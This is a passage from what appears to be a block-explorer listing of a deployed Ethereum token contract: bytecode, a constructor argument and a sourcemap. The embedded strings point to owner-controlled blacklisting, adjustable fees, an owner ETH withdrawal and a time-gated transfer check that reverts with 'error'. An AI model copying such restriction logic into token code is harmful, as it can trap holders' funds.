33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0383161790555b6001600160a01b0381165f908152600660205260409020805460ff19166001908117909155610d669082611b6a565b335f8181526005602090815260408083206001600160a01b03871684529091528120549091610a61918590610ac39086906129d3565b5f546001600160a01b03163314610ef75760405162461bcd60e51b8152600401610b079061294f565b6040514790339082156108fc029083905f818181858888f19350505050158015610d66573d5f803e3d5ffd5b5f546001600160a01b03163314610f4c5760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b03165f908152600660205260409020805460ff19166001179055565b5f600c54831115610fc25760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610b07565b81610fdd575f610fd3846001611b7e565b519150610a659050565b5f610fe9846001611b7e565b602001519150610a659050565b5f546001600160a01b0316331461101f5760405162461bcd60e51b8152600401610b079061294f565b5f5b8181101561108457600160065f85858581811061104057611040612984565b90506020020160208101906110559190612799565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611021565b505050565b5f546001600160a01b031633146110b25760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b03165f908152600a60205260409020805460ff19169055565b5f546001600160a01b031633146110fb5760405162461bcd60e51b8152600401610b079061294f565b601793909355601891909155601955601a55565b5f546001600160a01b031633146111385760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b0381165f9081526007602052604090205460ff16156111a05760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610b07565b6001600160a01b0381165f90815260036020526040902054156111f7576001600160a01b0381165f908152600360205260409020546111de90610b2e565b6001600160a01b0382165f908152600460205260409020555b6001600160a01b03165f818152600760205260408120805460ff19166001908117909155600b805491820181559091527f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319169091179055565b5f546001600160a01b031633146112855760405162461bcd60e51b8152600401610b079061294f565b600e55565b6001600160a01b0381165f9081526007602052604081205460ff16156112c557506001600160a01b03165f9081526004602052604090205490565b506001600160a01b03165f9081526003602052604090205490565b5f546001600160a01b031633146113095760405162461bcd60e51b8152600401610b079061294f565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461137a5760405162461bcd60e51b8152600401610b079061294f565b601b93909355601c91909155601d55601e55565b5f835f0361139d57505f610ad7565b5f6113a885426129ac565b9050600f5481036113bd576001915050610ad7565b805f036113e2576010546001600160a01b038481169116146113e2575f915050610ad7565b8381116113f3576001915050610ad7565b505f949350505050565b5f610a613384610ac385604051806060016040528060258152602001612a4560259139335f9081526005602090815260408083206001600160a01b038d1684529091529020549190611b3f565b5f6114563384846118ce565b5050602554600160a01b900460ff16919050565b5f546001600160a01b031633146114935760405162461bcd60e51b8152600401610b079061294f565b602380546001600160a01b039283166001600160a01b0319918216811783555f908152600760209081526040808320805460ff191660019081179091558554600b805492830190557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db9909101805490951690871617909355925490931683526003825280832054600490925290912055565b5f546001600160a01b0316331461154e5760405162461bcd60e51b8152600401610b079061294f565b60258054821515600160b81b0260ff60b81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061159b90831515815260200190565b60405180910390a150565b5f546001600160a01b031633146115cf5760405162461bcd60e51b8152600401610b079061294f565b60258054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146116165760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b03165f908152600660205260409020805460ff19169055565b5f546001600160a01b0316331461165f5760405162461bcd60e51b8152600401610b079061294f565b6001600160a01b0381166116c45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b07565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146117465760405162461bcd60e51b8152600401610b079061294f565b5f5b81811015611084576001600a5f85858581811061176757611767612984565b905060200201602081019061177c9190612799565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101611748565b6001600160a01b03831661180d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b07565b6001600160a01b03821661186e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b07565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383165f908152600a602052604090205460ff1615801561190e57506001600160a01b0382165f908152600a602052604090205460ff16155b61195a5760405162461bcd60e51b815260206004820152601b60248201527f54686973206164647265737320697320626c61636b6c697374656400000000006044820152606401610b07565b6001600160a01b0383166119be5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b07565b6001600160a01b038216611a205760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b07565b5f8111611a815760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610b07565b611a8a8361128a565b811115611af25760405162461bcd60e51b815260206004820152603060248201527f596f752061726520747279696e6720746f207472616e73666572206d6f72652060448201526f7468616e20796f752062616c616e636560801b6064820152608401610b07565b6001600160a01b0383165f908152600660205260409020546110849084908490849060ff1680611b3957506001600160a01b0386165f9081526006602052604090205460ff165b15611bc6565b5f8184841115611b625760405162461bcd60e51b8152600401610b079190612721565b505050900390565b5f610ad7836001600160a01b038416612174565b611b866126d2565b611b908383612257565b9050611ba5818484611ba0612335565b612356565b60a08701526080860152606085015260408401526020830152815292915050565b8015611d8d576023546001600160a01b0390811690851603611c98575f546001600160a01b03858116911614801590611c0c57505f546001600160a01b03848116911614155b8015611c2257506001600160a01b038316600114155b15611c60576001600160a01b0383165f908152600860205260408120549003611c60576001600160a01b0383165f9081526008602052604090204290555b601080546001600160a01b0319166001600160a01b038516179055601754601f55601854602055601954602155601a54602255611e05565b5f546001600160a01b03858116911614801590611cc257505f546001600160a01b03848116911614155b8015611cd857506001600160a01b038316600114155b15611d55576001600160a01b0384165f90815260086020526040812054611d0290600e548761138e565b905080611d395760405162461bcd60e51b815260206004820152600560248201526432b93937b960d91b6044820152606401610b07565b506001600160a01b0384165f9081526009602052604090204290555b601b54601f55601c54602055601d54602155601e54602255601080546001600160a01b0319166001600160a01b038616179055611e05565b6001600160a01b0384165f9081526006602052604090205460ff1615611dc957601080546001600160a01b0319166001600160a01b0386161790555b6001600160a01b0383165f9081526006602052604090205460ff1615611e0557601080546001600160a01b0319166001600160a01b0385161790555b5f611e108383611b7e565b6001600160a01b0386165f9081526007602052604090205490915060ff168015611e5257506001600160a01b0384165f9081526007602052604090205460ff16155b15611e97576001600160a01b0385165f90815260046020526040902054611e7a9084906129ac565b6001600160a01b0386165f90815260046020526040902055611fd4565b6001600160a01b0385165f9081526007602052604090205460ff16158015611ed657506001600160a01b0384165f9081526007602052604090205460ff165b15611f1f5760c08101516001600160a01b0385165f90815260046020526040902054611f0291906129d3565b6001600160a01b0385165f90815260046020526040902055611fd4565b6001600160a01b0385165f9081526007602052604090205460ff168015611f5d57506001600160a01b0384165f9081526007602052604090205460ff165b15611fd4576001600160a01b0385165f90815260046020526040902054611f859084906129ac565b6001600160a01b038087165f908152600460205260408082209390935560c084015191871681529190912054611fbb91906129d3565b6001600160a01b0385165f908152600460205260409020555b80516001600160a01b0386165f90815260036020526040902054611ff891906129ac565b6001600160a01b038087165f908152600360209081526040808320949094558401519187168152919091205461202e91906129d3565b6001600160a01b0385165f9081526003602052604090205581156120f45761205e81604001518260e001516123cd565b61207181606001518261010001516123fb565b6120848160800151826101200151612496565b6120978160a001518261014001516124c3565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361012001518461010001516120e291906129d3565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161213d91815260200190565b60405180910390a3612150600185612502565b5061215a8561128a565b5f0361216d5761216b600186611b6a565b505b5050505050565b5f818152600183016020526040812054801561224e575f6121966001836129ac565b85549091505f906121a9906001906129ac565b9050818114612208575f865f0182815481106121c7576121c7612984565b905f5260205f200154905080875f0184815481106121e7576121e7612984565b5f918252602080832090910192909255918252600188019052604090208390555b8554869080612219576122196129bf565b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050610a65565b5f915050610a65565b61225f6126d2565b816122705760c08101839052610a65565b601f5460649061228090856129e6565b61228a91906129fd565b60e082015260205460649061229f90856129e6565b6122a991906129fd565b6101008201526021546064906122bf90856129e6565b6122c991906129fd565b6101208201526022546064906122df90856129e6565b6122e991906129fd565b610140820181905261012082015161010083015160e084015161230c90876129ac565b61231691906129ac565b61232091906129ac565b61232a91906129ac565b60c082015292915050565b5f805f612340612516565b909250905061234f81836129fd565b9250505090565b506001825f808080808761237757508493505f9250829150819050806123c0565b5050505060e086015161010087015161012088015161014089015180828461239f878a6129ac565b6123a991906129ac565b6123b391906129ac565b6123bd91906129ac565b94505b9499939850945094509450565b81600d546123db91906129ac565b600d55601180548291905f906123f29084906129d3565b90915550505050565b8060155f015f82825461240e91906129d3565b9091555050601280548291905f906124279084906129d3565b9091555050305f908152600360205260409020546124469083906129d3565b305f9081526003602090815260408083209390935560079052205460ff1615610d6657305f908152600460205260409020546124839082906129d3565b305f908152600460205260409020555050565b8060156001015f8282546124aa91906129d3565b9091555050601380548291905f906124279084906129d3565b8060116003015f8282546124d791906129d3565b9091555050600c546124ea9082906129ac565b600c55600d546124fb9083906129ac565b600d555050565b5f610ad7836001600160a01b038416612686565b600d54600c545f918291825b600b54811015612655578260035f600b848154811061254357612543612984565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205411806125ab57508160045f600b848154811061258557612585612984565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b156125c157600d54600c54945094505050509091565b60035f600b83815481106125d7576125d7612984565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461260590846129ac565b925060045f600b838154811061261d5761261d612984565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461264b90836129ac565b9150600101612522565b50600c54600d5461266691906129fd565b82101561267d57600d54600c549350935050509091565b90939092509050565b5f8181526001830160205260408120546126cb57508154600181810184555f848152602080822090930184905584548482528286019093526040902091909155610a65565b505f610a65565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461276c575f80fd5b919050565b5f8060408385031215612782575f80fd5b61278b83612756565b946020939093013593505050565b5f602082840312156127a9575f80fd5b610ad782612756565b5f805f606084860312156127c4575f80fd5b6127cd84612756565b92506127db60208501612756565b929592945050506040919091013590565b8035801515811461276c575f80fd5b5f6020828403121561280b575f80fd5b610ad7826127ec565b5f60208284031215612824575f80fd5b5035919050565b5f806040838503121561283c575f80fd5b8235915061284c602084016127ec565b90509250929050565b5f8060208385031215612866575f80fd5b823567ffffffffffffffff81111561287c575f80fd5b8301601f8101851361288c575f80fd5b803567ffffffffffffffff8111156128a2575f80fd5b8560208260051b84010111156128b6575f80fd5b6020919091019590945092505050565b5f805f80608085870312156128d9575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60608486031215612907575f80fd5b833592506020840135915061291e60408501612756565b90509250925092565b5f8060408385031215612938575f80fd5b61294183612756565b915061284c60208401612756565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a6557610a65612998565b634e487b7160e01b5f52603160045260245ffd5b80820180821115610a6557610a65612998565b8082028115828204841417610a6557610a65612998565b5f82612a1757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a4b9502ba00c44c1fd3a0abfc5d86189a08d3e1379e7b529de0d636031064a4b64736f6c634300081a0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000b47ae2652b0845f5ed9dd972c63b4a4900398335
-----Decoded View---------------
Arg [0] : marketWallet_ (address): 0xb47ae2652B0845F5ed9Dd972C63B4a4900398335
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000b47ae2652b0845f5ed9dd972c63b4a4900398335
Deployed Bytecode Sourcemap
11810:21927:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;19458:83;;;;;;;;;;-1:-1:-1;19528:5:0;;;;;;;;;;;;-1:-1:-1;;;19528:5:0;;;;19458:83;;;;;;;:::i;:::-;;;;;;;;20828:193;;;;;;;;;;-1:-1:-1;20828:193:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;20828:193:0;920:187:1;19735:95:0;;;;;;;;;;-1:-1:-1;19815:7:0;;19735:95;;;1258:25:1;;;1246:2;1231:18;19735:95:0;1112:177:1;12452:46:0;;;;;;;;;;-1:-1:-1;12452:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;21029:455;;;;;;;;;;-1:-1:-1;21029:455:0;;;;;:::i;:::-;;:::i;20533:95::-;;;;;;;;;;-1:-1:-1;20533:95:0;;;;;:::i;:::-;;:::i;:::-;;22830:262;;;;;;;;;;-1:-1:-1;22830:262:0;;;;;:::i;:::-;;:::i;19644:83::-;;;;;;;;;;-1:-1:-1;19644:83:0;;12576:1;2587:36:1;;2575:2;2560:18;19644:83:0;2445:184:1;12873:42:0;;;;;;;;;;;;;;;;19208:112;;;;;;;;;;-1:-1:-1;19208:112:0;;;;;:::i;:::-;;:::i;23867:473::-;;;;;;;;;;-1:-1:-1;23867:473:0;;;;;:::i;:::-;;:::i;23440:419::-;;;;;;;;;;-1:-1:-1;23440:419:0;;;;;:::i;:::-;;:::i;21492:297::-;;;;;;;;;;-1:-1:-1;21492:297:0;;;;;:::i;:::-;;:::i;33354:143::-;;;;;;;;;;;;;:::i;17736:164::-;;;;;;;;;;-1:-1:-1;17736:164:0;;;;;:::i;:::-;-1:-1:-1;;;;;17864:28:0;17832:7;17864:28;;;:20;:28;;;;;;;17736:164;24348:111;;;;;;;;;;-1:-1:-1;24348:111:0;;;;;:::i;:::-;;:::i;22333:489::-;;;;;;;;;;-1:-1:-1;22333:489:0;;;;;:::i;:::-;;:::i;20327:198::-;;;;;;;;;;-1:-1:-1;20327:198:0;;;;;:::i;:::-;;:::i;25144:115::-;;;;;;;;;;-1:-1:-1;25144:115:0;;;;;:::i;:::-;;:::i;14285:40::-;;;;;;;;;;-1:-1:-1;14285:40:0;;;;-1:-1:-1;;;14285:40:0;;;;;;18044:296;;;;;;;;;;-1:-1:-1;18044:296:0;;;;;:::i;:::-;;:::i;23100:332::-;;;;;;;;;;-1:-1:-1;23100:332:0;;;;;:::i;:::-;;:::i;24833:124::-;;;;;;;;;;-1:-1:-1;24833:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;24922:27:0;24898:4;24922:27;;;:18;:27;;;;;;;;;24833:124;19328:122;;;;;;;;;;-1:-1:-1;19328:122:0;;;;;:::i;:::-;;:::i;19838:177::-;;;;;;;;;;-1:-1:-1;19838:177:0;;;;;:::i;:::-;;:::i;13534:104::-;;;;;;;;;;-1:-1:-1;13534:104:0;;;;;;;;;;;;;;;;;;;4371:25:1;;;4427:2;4412:18;;4405:34;;;;4455:18;;;4448:34;4513:2;4498:18;;4491:34;4358:3;4343:19;13534:104:0;4140:391:1;8426:148:0;;;;;;;;;;;;;:::i;13422:103::-;;;;;;;;;;-1:-1:-1;13422:103:0;;;;;;;;;;;;;;;18348:301;;;;;;;;;;-1:-1:-1;18348:301:0;;;;;:::i;:::-;;:::i;22205:120::-;;;;;;;;;;-1:-1:-1;22205:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;22297:20:0;22273:4;22297:20;;;:11;:20;;;;;;;;;22205:120;13382:31;;;;;;;;;;-1:-1:-1;13382:31:0;;;;;;;;;;;;;4710:25:1;;;4766:2;4751:18;;4744:34;;;;4683:18;13382:31:0;4536:248:1;8203:87:0;;;;;;;;;;-1:-1:-1;8249:7:0;8276:6;-1:-1:-1;;;;;8276:6:0;8203:87;;;-1:-1:-1;;;;;4953:32:1;;;4935:51;;4923:2;4908:18;8203:87:0;4789:203:1;19549:87:0;;;;;;;;;;-1:-1:-1;19621:7:0;;;;;;;;;;;;-1:-1:-1;;;19621:7:0;;;;19549:87;;12834:32;;;;;;;;;;;;;;;;13101:36;;;;;;;;;;-1:-1:-1;13101:36:0;;;;;;;;;;;;;;;18657:543;;;;;;;;;;-1:-1:-1;18657:543:0;;;;;:::i;:::-;;:::i;21797:400::-;;;;;;;;;;-1:-1:-1;21797:400:0;;;;;:::i;:::-;;:::i;12333:55::-;;;;;;;;;;-1:-1:-1;12333:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;20023:202;;;;;;;;;;-1:-1:-1;20023:202:0;;;;;:::i;:::-;;:::i;14184:26::-;;;;;;;;;;-1:-1:-1;14184:26:0;;;;-1:-1:-1;;;14184:26:0;;;;;;24585:240;;;;;;;;;;-1:-1:-1;24585:240:0;;;;;:::i;:::-;;:::i;24965:171::-;;;;;;;;;;-1:-1:-1;24965:171:0;;;;;:::i;:::-;;:::i;20636:184::-;;;;;;;;;;-1:-1:-1;20636:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;20785:18:0;;;20753:7;20785:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;20636:184;20233:86;;;;;;;;;;-1:-1:-1;20233:86:0;;;;;:::i;:::-;;:::i;17908:128::-;;;;;;;;;;-1:-1:-1;17908:128:0;;;;;:::i;:::-;-1:-1:-1;;;;;18001:27:0;17974:7;18001:27;;;:15;:27;;;;;;;17908:128;24467:110;;;;;;;;;;-1:-1:-1;24467:110:0;;;;;:::i;:::-;;:::i;12395:50::-;;;;;;;;;;-1:-1:-1;12395:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;14037:30;;;;;;;;;;-1:-1:-1;14037:30:0;;;;-1:-1:-1;;;;;14037:30:0;;;8582:281;;;;;;;;;;-1:-1:-1;8582:281:0;;;;;:::i;:::-;;:::i;14074:66::-;;;;;;;;;;-1:-1:-1;14074:66:0;;;;-1:-1:-1;;;;;14074:66:0;;;12924:26;;;;;;;;;;-1:-1:-1;12924:26:0;;;;-1:-1:-1;;;;;12924:26:0;;;25267:196;;;;;;;;;;-1:-1:-1;25267:196:0;;;;;:::i;:::-;;:::i;20828:193::-;20930:4;20952:39;3694:10;20975:7;20984:6;20952:8;:39::i;:::-;-1:-1:-1;21009:4:0;20828:193;;;;;:::o;21029:455::-;21161:4;21178:36;21188:6;21196:9;21207:6;21178:9;:36::i;:::-;21225:220;21248:6;3694:10;21296:138;21352:6;21296:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;21296:19:0;;;;;;:11;:19;;;;;;;;3694:10;21296:33;;;;;;;;;;:37;:138::i;:::-;21225:8;:220::i;:::-;-1:-1:-1;21463:13:0;;-1:-1:-1;;;21463:13:0;;;;21029:455;;;;;;:::o;20533:95::-;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;;;;;;;;;20597:13:::1;:23:::0;;;::::1;;-1:-1:-1::0;;;20597:23:0::1;-1:-1:-1::0;;;;20597:23:0;;::::1;::::0;;;::::1;::::0;;20533:95::o;22830:262::-;22924:7;22982;;22971;:18;;22949:110;;;;-1:-1:-1;;;22949:110:0;;6250:2:1;22949:110:0;;;6232:21:1;6289:2;6269:18;;;6262:30;6328:34;6308:18;;;6301:62;-1:-1:-1;;;6379:18:1;;;6372:40;6429:19;;22949:110:0;6048:406:1;22949:110:0;-1:-1:-1;23077:7:0;22830:262::o;19208:112::-;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;19280:17:::1;:32:::0;19208:112::o;23867:473::-;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;23947:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;23939:56;;;::::0;-1:-1:-1;;;23939:56:0;;6661:2:1;23939:56:0::1;::::0;::::1;6643:21:1::0;6700:2;6680:18;;;6673:30;6739:25;6719:18;;;6712:53;6782:18;;23939:56:0::1;6459:347:1::0;23939:56:0::1;24011:9;24006:327;24030:9;:16:::0;24026:20;::::1;24006:327;;;24088:7;-1:-1:-1::0;;;;;24072:23:0::1;:9;24082:1;24072:12;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;24072:12:0::1;:23:::0;24068:254:::1;;24131:9;24141:16:::0;;:20:::1;::::0;24160:1:::1;::::0;24141:20:::1;:::i;:::-;24131:31;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;24116:9:::1;:12:::0;;-1:-1:-1;;;;;24131:31:0;;::::1;::::0;24126:1;;24116:12;::::1;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;;;::::1;:46:::0;;-1:-1:-1;;;;;;24116:46:0::1;-1:-1:-1::0;;;;;24116:46:0;;::::1;;::::0;;24181:16;;::::1;::::0;;:7:::1;:16:::0;;;;;;:20;;;24220:11:::1;:20:::0;;;;:28;;-1:-1:-1;;24220:28:0::1;::::0;;24267:9:::1;:15:::0;;;::::1;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;-1:-1:-1;;24267:15:0;;;;;-1:-1:-1;;;;;;24267:15:0::1;::::0;;;;;24006:327:::1;23867:473:::0;:::o;24068:254::-:1;24048:3;;24006:327;;;;23867:473:::0;:::o;23440:419::-;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;23514:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;23509:250;;-1:-1:-1::0;;;;;23551:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;;;:27;;-1:-1:-1;;23551:27:0::1;23574:4;23551:27;::::0;;23597:7:::1;:16:::0;;;;;;:20;23593:117:::1;;-1:-1:-1::0;;;;;23677:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;23657:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;23638:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;23593:117:::1;23724:9;:23:::0;;::::1;::::0;::::1;::::0;;-1:-1:-1;23724:23:0;;;;;::::1;::::0;;-1:-1:-1;;;;;;23724:23:0::1;-1:-1:-1::0;;;;;23724:23:0;::::1;;::::0;;23509:250:::1;-1:-1:-1::0;;;;;23769:27:0;::::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;23769:34:0::1;23799:4;23769:34:::0;;::::1;::::0;;;23816:35:::1;::::0;23788:7;23816:26:::1;:35::i;21492:297::-:0;3694:10;21607:4;21701:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;21701:34:0;;;;;;;;;;21607:4;;21629:130;;21679:7;;21701:47;;21738:10;;21701:47;:::i;33354:143::-;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;33452:37:::1;::::0;33420:21:::1;::::0;33460:10:::1;::::0;33452:37;::::1;;;::::0;33420:21;;33402:15:::1;33452:37:::0;33402:15;33452:37;33420:21;33460:10;33452:37;::::1;;;;;;;;;;;;;::::0;::::1;;;;24348:111:::0;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;24417:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;24417:34:0::1;24447:4;24417:34;::::0;;24348:111::o;22333:489::-;22451:7;22495;;22484;:18;;22476:62;;;;-1:-1:-1;;;22476:62:0;;7672:2:1;22476:62:0;;;7654:21:1;7711:2;7691:18;;;7684:30;7750:33;7730:18;;;7723:61;7801:18;;22476:62:0;7470:355:1;22476:62:0;22554:17;22549:266;;22588:28;22619:25;22630:7;22639:4;22619:10;:25::i;:::-;22666:9;;-1:-1:-1;22659:16:0;;-1:-1:-1;22659:16:0;22549:266;22708:28;22739:25;22750:7;22759:4;22739:10;:25::i;:::-;22786:17;;;;-1:-1:-1;22779:24:0;;-1:-1:-1;22779:24:0;20327:198;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;20412:9:::1;20407:111;20427:19:::0;;::::1;20407:111;;;20502:4;20468:18;:31;20487:8;;20496:1;20487:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;20468:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;20468:31:0;:38;;-1:-1:-1;;20468:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;20448:3:0::1;20407:111;;;;20327:198:::0;;:::o;25144:115::-;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;25220:23:0::1;25246:5;25220:23:::0;;;:14:::1;:23;::::0;;;;:31;;-1:-1:-1;;25220:31:0::1;::::0;;25144:115::o;18044:296::-;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;18201:8:::1;:18:::0;;;;18230;:30;;;;18271:18;:30;18312:13;:20;18044:296::o;23100:332::-;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;23181:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;23180:21;23172:61;;;::::0;-1:-1:-1;;;23172:61:0;;8032:2:1;23172:61:0::1;::::0;::::1;8014:21:1::0;8071:2;8051:18;;;8044:30;8110:29;8090:18;;;8083:57;8157:18;;23172:61:0::1;7830:351:1::0;23172:61:0::1;-1:-1:-1::0;;;;;23248:16:0;::::1;23267:1;23248:16:::0;;;:7:::1;:16;::::0;;;;;:20;23244:109:::1;;-1:-1:-1::0;;;;;23324:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;23304:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;23285:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;23244:109:::1;-1:-1:-1::0;;;;;23363:20:0::1;;::::0;;;:11:::1;:20;::::0;;;;:27;;-1:-1:-1;;23363:27:0::1;23386:4;23363:27:::0;;::::1;::::0;;;23401:9:::1;:23:::0;;;;::::1;::::0;;;;;;::::1;::::0;;-1:-1:-1;;;;;;23401:23:0::1;::::0;;::::1;::::0;;23100:332::o;19328:122::-;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;19409:13:::1;:33:::0;19328:122::o;19838:177::-;-1:-1:-1;;;;;19928:20:0;;19904:7;19928:20;;;:11;:20;;;;;;;;19924:49;;;-1:-1:-1;;;;;;19957:16:0;;;;;:7;:16;;;;;;;19838:177::o;19924:49::-;-1:-1:-1;;;;;;19991:16:0;;;;;:7;:16;;;;;;;19838:177::o;8426:148::-;8249:7;8276:6;-1:-1:-1;;;;;8276:6:0;3694:10;8338:23;8330:68;;;;-1:-1:-1;;;8330:68:0;;;;;;;:::i;:::-;8533:1:::1;8517:6:::0;;8496:40:::1;::::0;-1:-1:-1;;;;;8517:6:0;;::::1;::::0;8496:40:::1;::::0;8533:1;;8496:40:::1;8564:1;8547:19:::0;;-1: